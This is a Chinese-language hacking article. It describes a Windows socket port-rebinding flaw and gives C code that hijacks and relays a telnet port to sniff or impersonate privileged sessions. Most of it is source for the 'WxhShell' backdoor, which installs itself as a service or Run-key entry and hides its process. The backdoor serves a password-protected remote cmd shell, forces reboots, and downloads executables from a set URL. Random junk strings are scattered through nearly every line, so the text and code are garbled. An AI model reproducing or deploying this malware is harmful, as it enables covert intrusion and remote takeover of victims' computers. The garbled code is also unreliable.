在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
][~rk?YY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
mOb@w/f FQcm= d_s saddr.sin_family = AF_INET;
xww\L
&y l{V(Y$xp3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~)5k%?. Vb?_RE_H bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
g5
y*-t ,|w, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%}{.U )F6p+i=" 这意味着什么?意味着可以进行如下的攻击:
+@<@x4yt t<cWMx5ra 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RMAbu*D0 1c`Yn:H^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
v&` n}lS Y }8HJTMB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+lJD7=%K]Z Y7`Dx'x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ShOB"J- M,SIs
3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ST\d-x !1P<A1K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
PH!rWR 5(y Q-/6C+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
l+?sR<e?! Zy6>i2f4f #include
83Fmu/( #include
D*8oFJub #include
5WI0[7 #include
"-G&]YMl DWORD WINAPI ClientThread(LPVOID lpParam);
, D`\
RV int main()
3
FLht
L {
['l}* WORD wVersionRequested;
OPDRV\ DWORD ret;
wodff_l WSADATA wsaData;
SuA`F|7?P BOOL val;
xGX U7w:X SOCKADDR_IN saddr;
AaJz3oncJ SOCKADDR_IN scaddr;
_u;34H&/ int err;
=`wnng5m SOCKET s;
UujKgL4 SOCKET sc;
G3t\2E9S int caddsize;
bd`}2vr HANDLE mt;
!(qaudX{>k DWORD tid;
~Yl%{1 wVersionRequested = MAKEWORD( 2, 2 );
<Kq!)) J' err = WSAStartup( wVersionRequested, &wsaData );
$p.0[A(N if ( err != 0 ) {
L%4Do*V& printf("error!WSAStartup failed!\n");
PL*kjrLu7 return -1;
&fwb?Vn4 }
2tdr1+U?g saddr.sin_family = AF_INET;
|z.Ov&d4)( WOf*1C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E XQ3(:& t%30B^Ii%K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(%|L23 saddr.sin_port = htons(23);
B6]M\4v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MJ`BlE,Fmb {
yv.(Oy printf("error!socket failed!\n");
=p$:vW return -1;
EN~ha:9 }
)cxML<j'
val = TRUE;
o%?~9rf]] //SO_REUSEADDR选项就是可以实现端口重绑定的
[214b= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
YN5p@b=FX {
M1=y-3dW3 printf("error!setsockopt failed!\n");
O:te;lQK return -1;
nV?e(}D }
8J+:5b_? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4(}V$#^+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Y1U\VU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5\P3JoH:Yg >[TJ-%V>oR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
HXRK<6k$
{
o`ijdg!5qG ret=GetLastError();
ewzZb*\ printf("error!bind failed!\n");
uHpSE?y/ return -1;
#kL4Rm; }
xouy|Nn' listen(s,2);
St~a/Lq6 while(1)
]iVoF N}^ {
(% f2ZNen caddsize = sizeof(scaddr);
*heX[D
&>) //接受连接请求
ttC+`0+H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9Y-6e0B: if(sc!=INVALID_SOCKET)
Z\P&i# {
5nJmabw3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$sR-J'EE! if(mt==NULL)
X| X~|&j {
@mrGG F printf("Thread Creat Failed!\n");
%y}l^P5z break;
,mW-O!$3W }
(.54`[2+L }
7Yd]#K{$ CloseHandle(mt);
gay6dj^ }
\hT=U*dMR closesocket(s);
?.b.mkJ WSACleanup();
4mJ[Wr\y return 0;
^zVBS7`J }
ia}V8i DWORD WINAPI ClientThread(LPVOID lpParam)
S`?cs^? {
{QRrAi SOCKET ss = (SOCKET)lpParam;
8]-c4zK SOCKET sc;
8rA?X*|S! unsigned char buf[4096];
iH""dtO SOCKADDR_IN saddr;
`jyBF long num;
fA>FU/r DWORD val;
2pQdDbm DWORD ret;
>
:
;*3 //如果是隐藏端口应用的话,可以在此处加一些判断
z?i{2Fz6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
t)/:VImY saddr.sin_family = AF_INET;
S;FgS:; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'
;PHuMY#X saddr.sin_port = htons(23);
?h4Rh0rkX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zL,B? {
B&oP0 jS printf("error!socket failed!\n");
qkbxa?&X return -1;
;3H#8x- }
Y"&1jud4xl val = 100;
7v^V]&&s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3\jcq@N {
4]$$ar) ret = GetLastError();
%+,7=Wt- return -1;
pZv>{=2hOS }
Hkck=@>8H* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6#rj3^] {
P,@ :?6 ret = GetLastError();
8P#jC$< return -1;
xfyUT^ }
Y$SwQ;wl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;=[~2*8 {
^cy.iolt printf("error!socket connect failed!\n");
$ }D9)&f; closesocket(sc);
^5yFb=2 closesocket(ss);
WKB8k-.]ww return -1;
3\Ma)\>R\- }
pl{Pur ;i while(1)
|tkhsQ-; {
>(aGk{e1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^Q'^9M2) //如果是嗅探内容的话,可以再此处进行内容分析和记录
,ruL7|T& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\:/:S"- num = recv(ss,buf,4096,0);
(IY=x{b if(num>0)
/v,H%8S send(sc,buf,num,0);
;ESuj'*t else if(num==0)
s}pn5zMp:8 break;
UmRI! WQl num = recv(sc,buf,4096,0);
s$s]D\N if(num>0)
`T]1u4^E send(ss,buf,num,0);
_
IqUp Y else if(num==0)
vQ/&iAyut break;
c88I"5@[bD }
8=%%C: closesocket(ss);
7Q(5Nlfcz closesocket(sc);
^Cs5A0xo#s return 0 ;
smM*HDK }
c8'!>#$ f.4m6"1 AJ*FQo.U ==========================================================
*Hnk,?kPq (\QkXrK 下边附上一个代码,,WXhSHELL
`n#
{} % $1h , <$5H ==========================================================
JY|f zL BN?OvQ #include "stdafx.h"
u5,\Kz YuZxKuGy #include <stdio.h>
h7( R/R f #include <string.h>
MMpGI^x!-X #include <windows.h>
Kug_0+gI #include <winsock2.h>
@@,l0/ #include <winsvc.h>
pD+_ K #include <urlmon.h>
c:/H}2/C k|^e=I
#pragma comment (lib, "Ws2_32.lib")
yJ(p-3O5 #pragma comment (lib, "urlmon.lib")
b-1cA1#_cP dJZMzn #define MAX_USER 100 // 最大客户端连接数
c({V[eGY #define BUF_SOCK 200 // sock buffer
MVGznf? #define KEY_BUFF 255 // 输入 buffer
ZR~ *Yofy 6d RxfbL #define REBOOT 0 // 重启
|G+6R-_ #define SHUTDOWN 1 // 关机
qjsS2,wM <_S>- ;by #define DEF_PORT 5000 // 监听端口
6iiH+Nc >Jl(9)e #define REG_LEN 16 // 注册表键长度
O<0G\sU #define SVC_LEN 80 // NT服务名长度
N{}XHA !+;'kI2 // 从dll定义API
8\+Q*7~@i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
kvzGI>H: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
akuV9S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&*wN@e(c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Vf67gux q;dg,Om // wxhshell配置信息
Pa.D+ struct WSCFG {
nQ*9|v4 int ws_port; // 监听端口
6dG:3n} char ws_passstr[REG_LEN]; // 口令
o1j_5c
PS int ws_autoins; // 安装标记, 1=yes 0=no
9V]\,mD= char ws_regname[REG_LEN]; // 注册表键名
.^<4] char ws_svcname[REG_LEN]; // 服务名
LV4]YC char ws_svcdisp[SVC_LEN]; // 服务显示名
6!|-,t>< char ws_svcdesc[SVC_LEN]; // 服务描述信息
!2)$lM1@J char ws_passmsg[SVC_LEN]; // 密码输入提示信息
c~B[<.Qj int ws_downexe; // 下载执行标记, 1=yes 0=no
cxBu2(Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B 4pJg char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&-Bw7v > .L\ > };
rZ0+mS'/G '%@fW:r~ // default Wxhshell configuration
lg)jc3 struct WSCFG wscfg={DEF_PORT,
wI!>IV(5 "xuhuanlingzhe",
01n5]^.p 1,
K,7IBv,B[ "Wxhshell",
]]
R*sd* "Wxhshell",
tta\.ic "WxhShell Service",
<r_L- "Wrsky Windows CmdShell Service",
j'#Y$d1. "Please Input Your Password: ",
YQb43Sh` 1,
/Ulv/Thl "
http://www.wrsky.com/wxhshell.exe",
>wiW(Ki} "Wxhshell.exe"
g5gq{KlU };
[whX),3> #HjiE // 消息定义模块
ZXP9{Hh char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
KLpe!8tAe char *msg_ws_prompt="\n\r? for help\n\r#>";
oe<9CK:?> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
D$W&6' char *msg_ws_ext="\n\rExit.";
iElE-g@Ws char *msg_ws_end="\n\rQuit.";
/&g5f4[|p char *msg_ws_boot="\n\rReboot...";
w)A@ char *msg_ws_poff="\n\rShutdown...";
>
YHwWf- char *msg_ws_down="\n\rSave to ";
6xk~Bt ['p%$4i$ char *msg_ws_err="\n\rErr!";
?[n{M char *msg_ws_ok="\n\rOK!";
M_-LI4> h,-8(
S char ExeFile[MAX_PATH];
)Mw<e int nUser = 0;
Algk4zfK2, HANDLE handles[MAX_USER];
R5i v]8X4W int OsIsNt;
*=OU~68)C 2&st/y(hs SERVICE_STATUS serviceStatus;
1Ner1EKGp SERVICE_STATUS_HANDLE hServiceStatusHandle;
[X +E NdpcfZq // 函数声明
ZeVb< g int Install(void);
q8U* int Uninstall(void);
5,3Yt ~\m int DownloadFile(char *sURL, SOCKET wsh);
so~vnSQ!x int Boot(int flag);
"I"(yiKD void HideProc(void);
,2H@xji
[ int GetOsVer(void);
O>YXvu int Wxhshell(SOCKET wsl);
rQ0V3x1"Qx void TalkWithClient(void *cs);
y6.Q\= int CmdShell(SOCKET sock);
"i+fO&LpZ int StartFromService(void);
?.&]4z([ int StartWxhshell(LPSTR lpCmdLine);
nJ!`^X5I w Phs1rL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_wa1R+`_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
Ne^md %i!&Fr // 数据结构和表定义
2=X\G~a SERVICE_TABLE_ENTRY DispatchTable[] =
x1\a_Kt {
P<AN`un
{wscfg.ws_svcname, NTServiceMain},
'g<0MOq{ {NULL, NULL}
J(CqT/Au- };
3*13XQ |Gc2w]\3 // 自我安装
J1,\Q< int Install(void)
9~8UG ( {
Vz$X0C=W;H char svExeFile[MAX_PATH];
N7A/&~g5L HKEY key;
}"?v=9.G strcpy(svExeFile,ExeFile);
%xE9vN; Iu`B7UOF // 如果是win9x系统,修改注册表设为自启动
h= uv4& if(!OsIsNt) {
0QE2e'}}- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l1X&Nw1W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>L6V! RegCloseKey(key);
t/?x#X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z-(V fp4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_<?lP$Xr RegCloseKey(key);
n !ty\E return 0;
Vj^<V|= }
Z!Y ^iN }
Eeemy*U }
-3 } else {
N :E7rtT,M b"-eQb // 如果是NT以上系统,安装为系统服务
nK*$P +[R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
8+5-7) if (schSCManager!=0)
C^]y
iR-U {
IaDc hI SC_HANDLE schService = CreateService
^:Vwblv( (
S:qML]RO schSCManager,
qV57P6< wscfg.ws_svcname,
FyuCYg
\p wscfg.ws_svcdisp,
rSU%!E+|< SERVICE_ALL_ACCESS,
Hd(|fc{2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%a-:f)@ SERVICE_AUTO_START,
Z/=x(I0 SERVICE_ERROR_NORMAL,
/`yb75 svExeFile,
(dO, +~ NULL,
!Fa2F~#h NULL,
0w?\KHT NULL,
;Wjb}_V:_ NULL,
YnZV.&4{ NULL
a%Ky;ys );
,}%+5yH if (schService!=0)
Z IfhC' {
SJhcmx+ CloseServiceHandle(schService);
oWGtKtDhH CloseServiceHandle(schSCManager);
z@hlN3dg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
W.h6g8|wx strcat(svExeFile,wscfg.ws_svcname);
oy90|.]G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0tVZvXgTu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
vluA46c RegCloseKey(key);
h@$M.h@mcG return 0;
:4|W;Lkd! }
x6A*vP0nm) }
2T!pFcc CloseServiceHandle(schSCManager);
<F!On5=W* }
9I*zgM!F }
VZNMom,Wr H:x=v4NgsU return 1;
oGpyuB@A/ }
E.kGBA;a? -E1b5i;f // 自我卸载
FJl#NOp& int Uninstall(void)
H3T4v1o6 {
X&sXss<fO% HKEY key;
,yW BO ;RNU`Ip if(!OsIsNt) {
CSx V^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L2Ynv4llm RegDeleteValue(key,wscfg.ws_regname);
- 7)%J+5 RegCloseKey(key);
zrYhx!@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fvKb0cIx] RegDeleteValue(key,wscfg.ws_regname);
\nM$qr'`B RegCloseKey(key);
9u";%5 4 return 0;
o9+"6V|. }
D}59fWz@ }
26|2r }
/I|.^ Id| else {
mZsftby} w[@>k@= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[r%WVf.#d if (schSCManager!=0)
6tXx--Nh {
tW;?4}JR
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}MAvEaUd
if (schService!=0)
K@lZuQ.1 {
"HTp1 if(DeleteService(schService)!=0) {
1qXqQA CloseServiceHandle(schService);
rjfcZ@ CloseServiceHandle(schSCManager);
Oz{.>Pjn^o return 0;
G+?@4?`z }
kylR) CloseServiceHandle(schService);
BU-+L}-48 }
uKF?UXc CloseServiceHandle(schSCManager);
^LgaMmz }
1'tagv?
}
y\ L$8BSL 9{bG @g return 1;
9B&QY 2v }
6v7H?4 )%'Lm // 从指定url下载文件
c(jF^
0~ int DownloadFile(char *sURL, SOCKET wsh)
't".~H_V {
??tyz4$; HRESULT hr;
a86m?)-c char seps[]= "/";
O<nJbsl_w char *token;
Qzy[ char *file;
[wB-e~ char myURL[MAX_PATH];
Bs2.$~ char myFILE[MAX_PATH];
+tFm DDx= b5u_x_us| strcpy(myURL,sURL);
z^=.05jB token=strtok(myURL,seps);
GFd~..$ while(token!=NULL)
J{8_4s!Xt> {
Rt!G:hy7 file=token;
Qp8.D4^@3 token=strtok(NULL,seps);
OMG.64DX . }
r:.5O F} D)z'FOaI GetCurrentDirectory(MAX_PATH,myFILE);
<4s$$Uw}6% strcat(myFILE, "\\");
5fi6>> strcat(myFILE, file);
|0:&dw?*! send(wsh,myFILE,strlen(myFILE),0);
jSbO1 go# send(wsh,"...",3,0);
ZM"J5}h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
o_ if(hr==S_OK)
:_v/a+\n return 0;
M##h<3 I else
;8m_[gfw return 1;
.QX|:]|n (9q61zA }
v|acKux=t T-|SBNFw; // 系统电源模块
P1DYjm[+D int Boot(int flag)
9Mo(3M {
H?tonG.^( HANDLE hToken;
w6>'n
} TOKEN_PRIVILEGES tkp;
`?VtB!p@x= %Y8#I3jVJ if(OsIsNt) {
+T:F :X` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3DRbCKNL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>*rsR R tkp.PrivilegeCount = 1;
qH'T~#S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
5 E6| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
J^[>F{8!n if(flag==REBOOT) {
hEAt4z0P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
un|+YqLf return 0;
}{;m:Iia_ }
6LZ(bP'd; else {
[ 9)9>- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{M:Fsay>p return 0;
|T7 < ! }
p]=a:kd4J }
v>zeK else {
tcOgF: if(flag==REBOOT) {
"3CQ0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
cE[B
(e return 0;
4$9WJ~V{ }
2= FGZa*. else {
B$A`- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[*zB
vj}G return 0;
0/?V _ }
YCod\} 3 }
pk2OZ,14Mj HHa
XK return 1;
_?Zg$7VJ }
I3uS?c |&Gm.[IX;q // win9x进程隐藏模块
<i34;`)b void HideProc(void)
oiYI$ql3L {
GkqKIs F VBuCi?W HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`
MIZqHM @ if ( hKernel != NULL )
R}lS@ w1 {
;&4}hPq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8Wx>,$k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FbB^$ ]* FreeLibrary(hKernel);
CDcZ6.f }
?)<DEu:Y ]5W|^% return;
B|E4(,]^ }
1,,kU /IS_-h7>XS // 获取操作系统版本
Z
4,nl int GetOsVer(void)
-[A4B) {
lA}(63j+b OSVERSIONINFO winfo;
)P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0OLE/T<Xv GetVersionEx(&winfo);
kBZnR$Cl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*'D(
j#& return 1;
Y?G9d6]Lk6 else
h^ wu8E return 0;
.Bxv|dji }
#(6^1S%
2LS03 27 // 客户端句柄模块
T:$ a
x int Wxhshell(SOCKET wsl)
1fwjW0t {
h:{rjXK
SOCKET wsh;
Tjba@^T struct sockaddr_in client;
i?"
~g!A DWORD myID;
,h1
z8.wD| zzlV((8~ while(nUser<MAX_USER)
=+24jHs {
ph*9,\c8 int nSize=sizeof(client);
vsc)EM ] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tQz =_;jy if(wsh==INVALID_SOCKET) return 1;
t){})nZ/4 dO/iL7K& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
LLp/ SWe if(handles[nUser]==0)
rqJ'm?>cr closesocket(wsh);
h/`]=kCl else
#O3Y#2lI nUser++;
wuRB[KLe }
-|s
w\Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
SMX70T!'9 Cu*+E%P9` return 0;
D c5tRO }
45g:q hp ?4w) , // 关闭 socket
6&jW.G8/ void CloseIt(SOCKET wsh)
_:(RkS!x {
Sg#$
B#g closesocket(wsh);
@PH`Wn#S nUser--;
aMaICM ExitThread(0);
KZ8Hp=s }
3$<u3Zi6 k@[\C`P // 客户端请求句柄
s2SxMFDP void TalkWithClient(void *cs)
mab921-n {
b$7p`Ay !e>+O^ SOCKET wsh=(SOCKET)cs;
L!:8yJK char pwd[SVC_LEN];
\gz(C`4{j char cmd[KEY_BUFF];
'mwgHo<u char chr[1];
2HA-q),6 int i,j;
\#)|6w- 5"~F#vt while (nUser < MAX_USER) {
:#_Ne?\a@ Z5x&P_.x[ if(wscfg.ws_passstr) {
FM{^ND9x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Jd]kg,/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CGyw '0S //ZeroMemory(pwd,KEY_BUFF);
l\f
/(&, i=0;
n 0/<m. while(i<SVC_LEN) {
aM U0BS" \zCwD0Z // 设置超时
G_ -8*. fd_set FdRead;
<b
JF&, struct timeval TimeOut;
38<Z=#S FD_ZERO(&FdRead);
{J&[JA\ FD_SET(wsh,&FdRead);
1>~bzXY# TimeOut.tv_sec=8;
}Gvu!a#R TimeOut.tv_usec=0;
e\8|6<o[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
e4h9rF{Cxn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
e]9Z]a2 2}\/_Y6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$U/|+*
pwd
=chr[0]; jw 4B^2}
if(chr[0]==0xd || chr[0]==0xa) { p<Oz"6_/~
pwd=0; 7.mYzl-F(
break; ?)-#\z=6G
} s(.H"_a
i++; m%ec=%L9
} +nAbcBJAl
e 48N[p
// 如果是非法用户,关闭 socket VY#nSF`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rv?4S`Z,x$
} y2`},
`=Z3X(Kc
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uh<e-;vU
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /:Q
Ndz'^c
while(1) { mu*RXLai
]t"X~
ZeroMemory(cmd,KEY_BUFF); (=-6'23q)
{j8M78 }3
// 自动支持客户端 telnet标准 GBY-WN4sc[
j=0; x
DiGN Jc
while(j<KEY_BUFF) { *|4/XHi
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jct|}U
cmd[j]=chr[0]; |[_%zV;p>v
if(chr[0]==0xa || chr[0]==0xd) { ,,c+R?D
cmd[j]=0; j 06mky
break; =91wC
}
p]eVby"
j++; po!bRk[4
} Ul<:Yt&nI
ZLZh$eZZ
// 下载文件 8l l}"
if(strstr(cmd,"http://")) { 207FD
send(wsh,msg_ws_down,strlen(msg_ws_down),0); r_hs_n!6
if(DownloadFile(cmd,wsh)) JfsvK2I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X> T_Xc
else Sby(?yg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [G",Yky
} 6_L<&RmLg
else { 2Krh&
` 7P%muY.
switch(cmd[0]) { az1#:Go
nX_w F`n"
// 帮助 8#nAs\^
case '?': { 34,'smH i%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R > [2*o"
break; \iRmGvT
} u]*f^/6Q
// 安装 pkf$%{"e
case 'i': { l*
z"wA-
if(Install()) /Un\P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N*f]NCSi
else ^;sE)L6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tM|/OJ7
break; }` YtXD-o
} S6<#] 6Z
// 卸载 kni{1Gr
case 'r': { {DD #&B
if(Uninstall()) VHi'~B#'*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yAFt|<
else Q?bCQZ{-Lh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3a[ LM!
break; mM r$~^P:
} Kk,u{EA
// 显示 wxhshell 所在路径 ]9-iEQ
case 'p': { fRb
char svExeFile[MAX_PATH]; jwg*\HO,s
strcpy(svExeFile,"\n\r"); 82 dmlPwJC
strcat(svExeFile,ExeFile); Ng2Z7k
send(wsh,svExeFile,strlen(svExeFile),0); ?OPuv5!pI
break; - zUBK
} -Q/wW4dE=
// 重启 CkRilS<
case 'b': { l cM
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ULd~
if(Boot(REBOOT)) voFg6zoV_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )gD2wk(
else { ,rjl|F*
T
closesocket(wsh); +s6v!({Z
ExitThread(0); O)ose?Z
} qnb/zr)p
break; @
M4m!;rM
} ?-~<Vc*
// 关机 p({Lp}'
case 'd': { PI@?I&Bo
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |S~$IFN4
if(Boot(SHUTDOWN)) cE>m/^SKr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fn0|v66
else { s)?GscPG!
closesocket(wsh); (w#)|9Cxm
ExitThread(0); V(XZ7<& {
} &^w"
break; "bB0$>0,
} 1JJ1!& >
// 获取shell .2U3_1dX
case 's': { {>PEl;,-
CmdShell(wsh); yeMe2Zx
closesocket(wsh); t&p I
ExitThread(0); ?D,j!Hy
break; |26[=_[q
} DAg*
// 退出 K2\)9
case 'x': { S&.xgBR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $=ESY>MO
CloseIt(wsh); Y
DW^N]G
break; acar-11_o/
} *2}f $8
// 离开 86 9sS
case 'q': { E!.&y4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {2QP6X sJ
closesocket(wsh); 9~$E+m(
WSACleanup(); c<lEFk!g
exit(1); azNv(|eeJL
break; }#;.b'`
} l^KCsea#
} ? HNuffk
} @nMVs6
KX3A|
// 提示信息 uix/O*^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @v:Eh
} _"OE}$C
} r&Qa;-4Pl
\{!,a
return; 7
, _b
} ,%BDBZ
+V9xKhR;x
// shell模块句柄 -j2y#aP
int CmdShell(SOCKET sock) K3UN#G)U
{ q9PjQ%
STARTUPINFO si; GKOl{och
ZeroMemory(&si,sizeof(si)); fBh/$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `S5::U6E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8h4]<T
PROCESS_INFORMATION ProcessInfo; Wv9L}@J
char cmdline[]="cmd"; ~)`\j
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r b\t0tg
return 0; F |R7hqf
} aG]^8`~>'
$uJc/
// 自身启动模式 GQJ4d-w
int StartFromService(void) 6w(r}yO]
{ r:g_mMvB
typedef struct Lfdg5D5.P
{ ZBFn
DWORD ExitStatus; #d*gWwnx"
DWORD PebBaseAddress; H~mp*S
DWORD AffinityMask; -meY[!"X
DWORD BasePriority; LH=^3Gw
